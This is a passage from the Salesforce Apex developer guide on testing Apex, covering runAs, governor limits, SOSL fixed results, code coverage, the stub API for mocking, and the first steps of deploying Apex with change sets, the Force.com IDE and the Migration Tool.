EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
573
Using the runAs MethodTesting Apex
TimeZoneSidKey='America/Los_Angeles', UserName='standarduser@testorg.com');
System.runAs(u) {
// The following code runs as user 'u'
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
}
}
You can nest more than one runAs method. For example:
@isTest
private class TestRunAs2 {
public static testMethod void test2() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com');
System.runAs(u2) {
// The following code runs as user u2.
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
// The following code runs as user u3.
User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com'];
System.runAs(u3) {
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
// Any additional code here would run as user u2.
}
}
}
Other Uses of runAs
You can also use the runAs method to perform mixed DML operations in your test by enclosing the DML operations within the runAs
block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with
other sObjects. See sObjects That Cannot Be Used Together in DML Operations.
There is another overload of the runAs method (runAs(System.Version)) that takes a package version as an argument. This
method causes the code of a specific version of a managed package to be used. For information on using the runAs method and
specifying a package version context, see Testing Behavior in Package Versions on page 602.
574
Using the runAs MethodTesting Apex
Using Limits, startTest, and stopTest
The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap
size remaining.
There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while
the second version contains the word “limit” and returns the total amount of the resource that is available for that context. For example,
getCallouts returns the number of callouts to an external service that have already been processed in the current context, while
getLimitCallouts returns the total number of callouts available in the given context.
In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching
governor limits.
The startTest method marks the point in your test code when your test actually begins. Each test method is allowed to call this
method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing
you to set up everything you need to run your test. Any code that executes after the call to startTest and before stopTest is
assigned a new set of governor limits.
The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98
SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can
now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can
only make 2 additional SOQL queries before reaching the limit of 100.
The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest
method. Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned
the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are
collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.
Adding SOSL Queries to Unit Tests
To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to
an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an
empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are
returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the
Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults
multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults
method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the
test method return an empty list of results.
The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be
returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are
applied to the list of fixed search results. For example:
@isTest
private class SoslFixedResultsTest1 {
public static testMethod void testSoslFixedResults() {
Id [] fixedSearchResults= new Id[1];
fixedSearchResults[0] = '001x0000003G89h';
Test.setFixedSearchResults(fixedSearchResults);
List<List<SObject>> searchList = [FIND 'test'
IN ALL FIELDS RETURNING
Account(id, name WHERE name = 'test' LIMIT
1)];
575
Using Limits, startTest, and stopTestTesting Apex
}
}
Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'), the
record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE
clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.
Testing Best Practices
Good tests do the following:
•Cover as many lines of code as possible. Before you can deploy Apex or package it for the Force.com AppExchange, the following
must be true.
Important:
–At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
•When deploying Apex to a production organization, each unit test in your organization namespace is executed by
default.
•Calls to System.debug are not counted as part of Apex code coverage.
•Test methods and test classes are not counted as part of Apex code coverage.
•While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that
is covered. Instead, you should make sure that every use case of your application is covered, including positive and
negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit
tests.
–Every trigger must have some test coverage.
–All classes and triggers must compile successfully.
•If code uses conditional logic (including ternary operators), execute each branch.
•Make calls to methods using both valid and invalid inputs.
•Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch block.
•Always handle all exceptions that are caught, instead of merely catching the exceptions.
•Use System.assert methods to prove that code behaves properly.
•Use the runAs method to test your application in different user contexts.
•Exercise bulk trigger functionality—use at least 20 records in your tests.
•Use the ORDER BY keywords to ensure that the records are returned in the expected order.
•Not assume that record IDs are in sequential order.
Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if you create
an account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B may or may not be sequentially
higher.
•Set up test data:
–Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization.
–Create all test data before calling the Test.startTest method.
–Since tests don't commit, you won't need to delete any data.
576
Testing Best PracticesTesting Apex
•Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the expected
outcome, and so on.
•Test the classes in your application individually. Never test your entire application in a single test.
If you are running many tests, consider the following:
•In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See
https://developer.salesforce.com/page/Apex_Toolkit_for_Eclipse for details.
•In the Salesforce user interface, you may need to test the classes in your organization individually, instead of trying to run all the
tests at the same time using the Run All Tests button.
Best Practices for Parallel Test Execution
Tests that are started from the Salesforce user interface (including the Developer Console) run in parallel. Parallel test execution can
speed up test run time. Sometimes, parallel test execution results in data contention issues, and you can turn off parallel execution in
those cases. In particular, data contention issues and UNABLE_TO_LOCK_ROW errors might occur in the following cases:
•When tests update the same records at the same time. Updating the same records typically occurs when tests don’t create their
own data and turn off data isolation to access the organization’s data.
•When a deadlock occurs in tests that are running in parallel and that try to create records with duplicate index field values. A deadlock
occurs when two running tests are waiting for each other to roll back data, which happens if two tests insert records with the same
unique index field values in different orders.
You can prevent receiving those errors by turning off parallel test execution in the Salesforce user interface:
1. From Setup, enter Apex Test.
2. Click Options....
3. In the Apex Test Execution Options dialog, select Disable Parallel Apex Testing and then click OK.
SEE ALSO:
Code Coverage Best Practices
Testing Example
The following example includes cases for the following types of tests:
•Positive case with single and multiple records
•Negative case with single and multiple records
•Testing with other users
The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles
are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class. The following sections
step through specific portions of the code.
@isTest
private class MileageTrackerTestSuite {
static testMethod void runPositiveTestCases() {
Double totalMiles = 0;
final Double maxtotalMiles = 500;
577
Testing ExampleTesting Apex
final Double singletotalMiles = 300;
final Double u2Miles = 100;
//Set up user
User u1 = [SELECT Id FROM User WHERE Alias='auser'];
//Run As U1
System.RunAs(u1){
System.debug('Inserting 300 miles... (single record validation)');
Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());
insert testMiles1;
//Validate single insert
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(singletotalMiles, totalMiles);
//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(integer i=0; i<200; i++) {
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(maxtotalMiles, totalMiles);
}//end RunAs(u1)
//Validate additional user:
totalMiles = 0;
//Setup RunAs
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
578
Testing ExampleTesting Apex
System.RunAs(u2){
Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
//Validate
System.assertEquals(u2Miles, totalMiles);
}//System.RunAs(u2)
}// runPositiveTestCases()
static testMethod void runNegativeTestCases() {
User u3 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u3){
System.debug('Inserting a record with 501 miles... (negative test case)');
Mileage__c testMiles3 = new Mileage__c( Miles__c = 501, Date__c = System.today()
);
try {
insert testMiles3;
}catch (DmlException e) {
//Assert Error Message
System.assert( e.getMessage().contains('Insert failed. First exception on ' +
'row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, ' +
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage() );
//Assert field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code
System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
e.getDmlStatusCode(0) );
}//catch
}//RunAs(u3)
}// runNegativeTestCases()
}// class MileageTrackerTestSuite
579
Testing ExampleTesting Apex
Positive Test Case
The following steps through the above code, in particular, the positive test case for single and multiple records.
1. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 300 more miles...single record validation');
2. Create a Mileage__c object and insert it into the database.
Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today() );
insert testMiles1;
3. Validate the code by returning the inserted records:
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :createdbyId
and miles__c != null]) {
totalMiles += m.miles__c;
}
4. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(singletotalMiles, totalMiles);
5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
6. Validate the code by creating a bulk insert of 200 records.
First, add text to the debug log, indicating the next step of the code:
System.debug('Inserting 200 Mileage records...bulk validation');
7. Then insert 200 Mileage__c records:
List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(Integer i=0; i<200; i++){
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
8. Use System.assertEquals to verify that the expected result is returned:
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :CreatedbyId
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(maxtotalMiles, totalMiles);
580
Testing ExampleTesting Apex
Negative Test Case
The following steps through the above code, in particular, the negative test case.
1. Create a static test method called runNegativeTestCases:
static testMethod void runNegativeTestCases(){
2. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 501 miles... negative test case');
3. Create a Mileage__c record with 501 miles.
Mileage__c testMiles3 = new Mileage__c(Miles__c = 501, Date__c = System.today());
4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated
error message.
try {
insert testMiles3;
}catch (DmlException e) {
5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch
block you previously created:
//Assert Error Message
System.assert(e.getMessage().contains('Insert failed. First exception '+
'on row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, '+
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage());
//Assert Field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code
System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
e.getDmlStatusCode(0));
}
}
}
Testing as a Second User
The following steps through the above code, in particular, running as a second user.
1. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
2. Set up the next user.
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2){
581
Testing ExampleTesting Apex
3. Add text to the debug log, indicating the next step of the code:
System.debug('Setting up testing - deleting any mileage records for ' +
UserInfo.getUserName() +
' from today');
4. Then insert one Mileage__c record:
Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;
5. Validate the code by returning the inserted records:
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
6. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(u2Miles, totalMiles);
Testing and Code Coverage
The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more tests.
Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods. Write
test methods to test your triggers and classes, and then run those tests to generate code coverage information.
Apex Trigger and Class Covered by Test Methods
582
Testing and Code CoverageTesting Apex
In addition to ensuring the quality of your code, unit tests enable you to meet the code coverage requirements for deploying or packaging
Apex. To deploy Apex or package it for the Force.com AppExchange, unit tests must cover at least 75% of your Apex code, and those
tests must pass.
Code coverage serves as one indication of test effectiveness, but doesn’t guarantee test effectiveness. The quality of the tests also matters,
but you can use code coverage as a tool to assess whether you need to add more tests. While you need to meet minimum code coverage
requirements for deploying or packaging your Apex code, code coverage shouldn’t be the only goal of your tests. Tests should assert
your app’s behavior and ensure the quality of your code.
How Is Code Coverage Calculated?
Code coverage percentage is a calculation of the number of covered lines divided by the sum of the number of covered lines and
uncovered lines. Only executable lines of code are included. (Comments and blank lines aren’t counted.) System.debug() statements
and curly brackets are excluded when they appear alone on one line. Multiple statements on one line are counted as one line for the
purpose of code coverage. If a statement consists of multiple expressions that are written on multiple lines, each line is counted for code
coverage.
The following is an example of a class with one method. The tests for this class have been run, and the option to show code coverage
was chosen for this class in the Developer Console. The blue lines represent the lines that are covered by tests. The lines that aren’t
highlighted are left out of the code coverage calculation. The red lines show the lines that weren’t covered by tests. To achieve full
coverage, more tests are needed. The tests must call getTaskPriority() with different inputs and verify the returned value.
This is the class that is partially covered by test methods. The corresponding test class isn’t shown.
Test classes (classes that are annotated with @isTest) are excluded from the code coverage calculation. This exclusion applies to all
test classes regardless of what they contain—test methods or utility methods used for testing.
Note: The Apex compiler sometimes optimizes expressions in a statement. For example, if multiple string constants are concatenated
with the + operator, the compiler replaces those expressions with one string constant internally. If the string concatenation
expressions are on separate lines, the additional lines aren’t counted as part of the code coverage calculation after optimization.
583
Testing and Code CoverageTesting Apex
To illustrate this point, a string variable is assigned to two string constants that are concatenated. The second string constant is
on a separate line.
String s='Hello'
+' World!';
The compiler optimizes the string concatenation and represents the string as one string constant internally. The second line in
this example is ignored for code coverage.
String s='Hello World!';
Inspecting Code Coverage
After running tests, you can view code coverage information in the Tests tab of the Developer Console. The code coverage pane includes
coverage information for each Apex class and the overall coverage for all Apex code in your organization.
Also, code coverage is stored in two Force.com Tooling API objects: ApexCodeCoverageAggregate and ApexCodeCoverage.
ApexCodeCoverageAggregate stores the sum of covered lines for a class after checking all test methods that test it. ApexCodeCoverage
stores the lines that are covered and uncovered by each individual test method. For this reason, a class can have multiple coverage
results in ApexCodeCoverage—one for each test method that has tested it. You can query these objects by using SOQL and the Tooling
API to retrieve coverage information. Using SOQL queries with Tooling API is an alternative way of checking code coverage and a quick
way to get more details.
For example, this SOQL query gets the code coverage for the TaskUtil class. The coverage is aggregated from all test classes that
exercised the methods in this class.
SELECT ApexClassOrTrigger.Name, NumLinesCovered, NumLinesUncovered
FROM ApexCodeCoverageAggregate
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
Note: This SOQL query requires the Tooling API. You can run this query by using the Query Editor in the Developer Console and
checking Use Tooling API.
Here’s a sample query result for a class that’s partially covered by tests:
NumLinesUncoveredNumLinesCoveredApexClassOrTrigger.Name
28TaskUtil
This next example shows how you can determine which test methods covered the class. The query gets coverage information from a
different object, ApexCodeCoverage, which stores coverage information by test class and method.
SELECT ApexTestClass.Name,TestMethodName,NumLinesCovered,NumLinesUncovered
FROM ApexCodeCoverage
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
Here’s a sample query result.
NumLinesUncoveredNumLinesCoveredTestMethodNameApexTestClass.Name
37testTaskPriorityTaskUtilTest
46testTaskHighPriorityTaskUtilTest
584
Testing and Code CoverageTesting Apex
The NumLinesUncovered values in ApexCodeCoverage differ from the corresponding value for the aggregate result in
ApexCodeCoverageAggregate because they represent the coverage related to one test method each. For example, test method
testTaskPriority() covered 7 lines in the entire class out of a total of 10 coverable lines, so the number of uncovered lines
with regard to testTaskPriority() is 3 lines (10–7). Because the aggregate coverage stored in ApexCodeCoverageAggregate
includes coverage by all test methods, the coverage of testTaskPriority() and testTaskHighPriority() is included,
which leaves only 2 lines that are not covered by any test methods.
Code Coverage Best Practices
Consider the following code coverage tips and best practices.
Code Coverage General Tips
•Run tests to refresh code coverage numbers. Code coverage numbers aren't refreshed when updates are made to Apex code in the
organization unless tests are rerun.
•If the organization has been updated since the last test run, the code coverage estimate can be incorrect. Rerun Apex tests to get a
correct estimate.
•The overall code coverage percentage in your organization doesn’t include code coverage from managed package tests. The only
exception is when managed package tests cause your triggers to fire. For more information, see Managed Package Tests.
•Coverage is based on the total number of code lines in the organization. Adding or deleting lines of code changes the coverage
percentage. For example, let's say an organization has 50 lines of code covered by test methods. If you add a trigger that has 50 lines
of code not covered by tests, the code coverage percentage drops from 100% to 50%. The trigger increases the total code lines in
the organization from 50 to 100, of which only 50 are covered by tests.
Why Code Coverage Numbers Differ between Sandbox and Production
When Apex is deployed to production or uploaded as part of a package to the Force.com AppExchange, Salesforce runs local tests in
the destination organization. Sandbox and production environments often don’t contain the same data and metadata, so the code
coverage results don’t always match. If code coverage is less than 75% in production, increase the coverage to be able to deploy or
upload your code. The following are common causes for the discrepancies in code coverage numbers between your development or
sandbox environment and production. This information can help you troubleshoot and reconcile those differences.
Test Failures
If the test results in one environment are different, the overall code coverage percentage doesn’t match. Before comparing code
coverage numbers between sandbox and production, make sure that all tests for the code that you’re deploying or packaging pass
in your organization first. The tests that contribute to the code coverage calculation must all pass before deployment or a package
upload.
Data Dependencies
If your tests access organization data by using the @isTest(SeeAllData=true) annotation, the test results can differ
depending on which data is available in the organization. If the records referenced in a test don’t exist or have changed, the test fails
or different code paths are executed in the Apex methods. Modify tests so that they create test data instead of accessing organization
data.
Metadata Dependencies
Changes in the metadata, such as changes in the user’s profile settings, can cause tests to fail or execute different code paths. Make
sure that the metadata in sandbox and production match, or ensure that the metadata changes aren’t the cause of different test
execution behavior.
585
Code Coverage Best PracticesTesting Apex
Managed Package Tests
Code coverage that is computed after you run all Apex tests in the user interface, such as the Developer Console, can differ from
code coverage obtained in a deployment. If you run all tests, including managed package tests, in the user interface, the overall
code coverage in your organization doesn’t include coverage for managed package code. Although managed package tests cover
lines of code in managed packages, this coverage is not part of the organization’s code coverage calculation as total lines and covered
lines. In contrast, the code coverage computed in a deployment after running all tests through the RunAllTestsInOrg test
level includes coverage of managed package code. If you are running managed package tests in a deployment through the
RunAllTestsInOrg test level, we recommend that you run this deployment in a sandbox first or perform a validation deployment
to verify code coverage.
Deployment Resulting in Overall Coverage Lower Than 75%
When deploying new components that have 100% coverage to production, the deployment fails if the average coverage between
the new and existing code doesn’t meet the 75% threshold. If a test run in the destination organization returns a coverage result of
less than 75%, modify the existing test methods or write additional test methods to raise the code coverage over 75%. Deploy the
modified or new test methods separately or with your new code that has 100% coverage.
Code Coverage in Production Dropping Below 75%
Sometimes the overall coverage in production drops below 75%, even though it was at least 75% when the components were
deployed from sandbox. Test methods that have dependencies on the organization’s data and metadata can cause a drop in code
coverage. If the data and metadata have changed sufficiently to alter the result of dependent test methods, some methods can fail
or behave differently. In that case, certain lines are no longer covered.
Recommended Process for Matching Code Coverage Numbers for
Production
•Use a Full Sandbox as the staging sandbox environment for production deployments. A Full Sandbox mimics the metadata and data
in production and helps reduce differences in code coverage numbers between the two environments.
•To reduce dependecies on data in sandbox and production organizations, use test data in your Apex tests.
•If a deployment to production fails due to insufficient code coverage, write more tests to raise the overall code coverage to the
highest possible coverage or 100%. Retry the deployment.
•If a deployment to production fails even after you raise code coverage numbers in sandbox, run local tests from your production
organization. Identify the classes with less than 75% coverage. Write additional tests for these classes in sandbox to raise the code
coverage.
Build a Mocking Framework with the Stub API
Apex provides a stub API for implementing a mocking framework. A mocking framework has many benefits. It can streamline and
improve testing and help you create faster, more reliable tests. You can use it to test classes in isolation, which is important for unit
testing. Building your mocking framework with the stub API can also be beneficial because stub objects are generated at runtime.
Because these objects are generated dynamically, you don’t have to package and deploy test classes. You can build your own mocking
framework, or you can use one built by someone else.
You can define the behavior of stub objects, which are created at runtime as anonymous subclasses of Apex classes. The stub API
comprises the System.StubProvider interface and the System.Test.createStub() method.
Note: This feature is intended for advanced Apex developers. Using it requires a thorough understanding of unit testing and
mocking frameworks. If you think that a mocking framework is something that makes fun of you, you might want to do a little
more research before reading further.
586
Build a Mocking Framework with the Stub APITesting Apex
Let’s look at an example to illustrate how the stub API works. This example isn’t meant to demonstrate the wide range of possible uses
for mocking frameworks. It’s intentionally simple to focus on the mechanics of using the Apex stub API.
Let’s say we want to test the formatting method in the following class.
public class DateFormatter {
// Method to test
public String getFormattedDate(DateHelper helper) {
return 'Today\'s date is ' + helper.getTodaysDate();
}
}
Usually, when we invoke this method, we pass in a helper class that has a method that returns today’s date.
public class DateHelper {
// Method to stub
public String getTodaysDate() {
return Date.today().format();
}
}
The following code invokes the method.
DateFormatter df = new DateFormatter();
DateHelper dh = new DateHelper();
String dateStr = df.getFormattedDate(dh);
For testing, we want to isolate the getFormattedDate() method to make sure that the formatting is working properly. The return
value of the getTodaysDate() method normally varies based on the day. However, in this case, we want to return a constant,
predictable value to isolate our testing to the formatting. Rather than writing a “fake” version of the class, where the method returns a
constant value, we create a stub version of the class. The stub object is created dynamically at runtime, and we can specify the “stubbed”
behavior of its method.
To use a stub version of an Apex class:
1. Define the behavior of the stub class by implementing the System.StubProvider interface.
2. Instantiate a stub object by using the System.Test.createStub() method.
3. Invoke the relevant method of the stub object from within a test class.
Implement the StubProvider Interface
Here’s an implementation of the StubProvider interface.
@isTest
public class MockProvider implements System.StubProvider {
public Object handleMethodCall(Object stubbedObject, String stubbedMethodName,
Type returnType, List<Type> listOfParamTypes, List<String> listOfParamNames,
List<Object> listOfArgs) {
// The following debug statements show an example of logging
// the invocation of a mocked method.
// You can use the method name and return type to determine which method was called.
587
Build a Mocking Framework with the Stub APITesting Apex
System.debug('Name of stubbed method: ' + stubbedMethodName);
System.debug('Return type of stubbed method: ' + returnType.getName());
// You can also use the parameter names and types to determine which method
// was called.
for (integer i =0; i < listOfParamNames.size(); i++) {
System.debug('parameter name: ' + listOfParamNames.get(i));
System.debug(' parameter type: ' + listOfParamTypes.get(i).getName());
}
// This shows the actual parameter values passed into the stubbed method at runtime.
System.debug('number of parameters passed into the mocked call: ' +
listOfArgs.size());
System.debug('parameter(s) sent into the mocked call: ' + listOfArgs);
// This is a very simple mock provider that returns a hard-coded value
// based on the return type of the invoked.
if (returnType.getName() == 'String')
return '8/8/2016';
else
return null;
}
}
StubProvider is a callback interface. It specifies a single method that requires implementing: handleMethodCall(). When
a stubbed method is called, handleMethodCall() is called. You define the behavior of the stubbed class in this method. The
method has the following parameters.
•stubbedObject: The stubbed object
•stubbedMethodName: The name of the invoked method
•returnType: The return type of the invoked method
•listOfParamTypes: A list of the parameter types of the invoked method
•listOfParamNames: A list of the parameter names of the invoked method
•listOfArgs: The actual argument values passed into this method at runtime
You can use these parameters to determine which method of your class was called, and then you can define the behavior for each
method. In this case, we check the return type of the method to identify it and return a hard-coded value.
Instantiate a Stub Version of the Class
The next step is to instantiate a stub version of the class. The following utility class returns a stub object that you can use as a mock.
public class MockUtil {
private MockUtil(){}
public static MockProvider getInstance() {
return new MockProvider();
}
public static Object createMock(Type typeToMock) {
// Invoke the stub API and pass it our mock provider to create a
// mock class of typeToMock.
588
Build a Mocking Framework with the Stub APITesting Apex
return Test.createStub(typeToMock, MockUtil.getInstance());
}
}
This class contains the method createMock(), which invokes the Test.createStub() method. The createStub()
method takes an Apex class type and an instance of the StubProvider interface that we created previously. It returns a stub object
that we can use in testing.
Invoke the Stub Method
Finally, we invoke the relevant method of the stub class from within a test class.
@isTest
public class DateFormatterTest {
@isTest
public static void testGetFormattedDate() {
// Create a mock version of the DateHelper class.
DateHelper mockDH = (DateHelper)MockUtil.createMock(DateHelper.class);
DateFormatter df = new DateFormatter();
// Use the mocked object in the test.
System.assertEquals('Today\'s date is 8/8/2016', df.getFormattedDate(mockDH));
}
}
In this test, we call the createMock() method to create a stub version of the DateHelper class. We can then invoke the
getTodaysDate() method on the stub object, which returns our hard-coded date. Using the hard-coded date allows us to test
the behavior of the getFormattedDate() method in isolation.
Apex Stub API Limitations
Keep the following limitations in mind when working with the Apex stub API.
•The object being mocked must be in the same namespace as the call to the Test.createStub() method. However, the
implementation of the StubProvider interface can be in another namespace.
•You can’t mock the following Apex elements.
–Static methods (including future methods)
–Private methods
–Properties (getters and setters)
–Triggers
–Inner classes
–System types
–Classes that implement the Batchable interface
–Classes that have only private constructors
589
Build a Mocking Framework with the Stub APITesting Apex
•Iterators can’t be used as return types or parameter types.
SEE ALSO:
StubProvider Interface
createStub(parentType, stubProvider)
590
Build a Mocking Framework with the Stub APITesting Apex
CHAPTER 14 Deploying Apex
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're
developing can destabilize your data or corrupt your application. Instead, do all your development work
in either a sandbox or a Developer Edition org.
In this chapter ...
•Using Change Sets
To Deploy Apex You can deploy Apex using:
•Using the Force.com
IDE to Deploy Apex •Change Sets
•the Force.com IDE
•Using the Force.com
Migration Tool •the Force.com Migration Tool
•Using SOAP API to
Deploy Apex •SOAP API
Any deployment of Apex is limited to 5,000 code units of classes and triggers.
591
Using Change Sets To Deploy Apex
EDITIONS
Available in: Salesforce
Classic
Available in Enterprise,
Performance, Unlimited,
and Database.com Editions
You can deploy Apex classes and triggers between connected organizations, for example, from a
sandbox organization to your production organization. You can create an outbound change set in
the Salesforce user interface and add the Apex components that you would like to upload and
deploy to the target organization. To learn more about change sets, see “Change Sets” in the
Salesforce online help.
Using the Force.com IDE to Deploy Apex
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface
for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate
Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes
basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Deploy to Server wizard.
Note: If you deploy to a production organization:
•At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
–When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
–Calls to System.debug are not counted as part of Apex code coverage.
–Test methods and test classes are not counted as part of Apex code coverage.
–While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
•Every trigger must have some test coverage.
•All classes and triggers must compile successfully.
For more information on how to use the Deploy to Server wizard, see “Deploy Code with the Force.com IDE” in the Force.com IDE
documentation, which is available within Eclipse.
Using the Force.com Migration Tool
In addition to the Force.com IDE, you can also use a script to deploy Apex.
Download the Force.com Migration Tool if you want to perform a file-based deployment of metadata changes and Apex classes from
a Developer Edition or sandbox organization to a production organization using Apache's Ant build tool.
Note: The Force.com Migration Tool is a free resource provided by Salesforce to support its users and partners but isn't considered
part of our services for purposes of the Salesforce Master Subscription Agreement.
To use the Force.com Migration Tool, do the following:
1. Visit http://www.oracle.com/technetwork/java/javase/downloads/index.html and install the Java JDK.
592
Using Change Sets To Deploy ApexDeploying Apex
Note: For enhanced security, we recommend Java 7 or later and a recent version of the Force.com Migration Tool (version
36.0 or later). Starting with version 36.0, the Force.com Migration Tool uses TLS 1.2 for secure communications with Salesforce
if it detects Java version 7 (1.7). The tool explicitly enables TLS 1.1 and 1.2 for Java 7. If you’re using Java 8 (1.8), TLS 1.2 is used.
For Java version 6, TLS 1.0 is used. However, Salesforce plans to discontinue TLS 1.0 support on this timeline.
Alternatively, if you’re using Java 7, instead of upgrading your Force.com Migration Tool to version 36.0 or later, you can add
the following to your ANT_OPTS environment variable:
-Dhttps.protocols=TLSv1.1,TLSv1.2
This setting also enforces TLS 1.1 and 1.2 for any other Ant tools on your local system.
2. Visit http://ant.apache.org/ and install Apache Ant, Version 1.6 or later, on the deployment machine.
3. Set up the environment variables (such as ANT_HOME, JAVA_HOME, and PATH) as specified in the Ant Installation Guide at
http://ant.apache.org/manual/install.html.
4. Verify that the JDK and Ant are installed correctly by opening a command prompt, and entering ant –version. Your output
should look something like this:
Apache Ant version 1.7.0 compiled on December 13 2006
5. Download the Force.com Migration Tool from the Force.com Migration Tool page in Salesforce Developers.
6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following:
•A Readme.html file that explains how to use the tools
•A Jar file containing the ant task: ant-salesforce.jar
•A sample folder containing:
–A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls
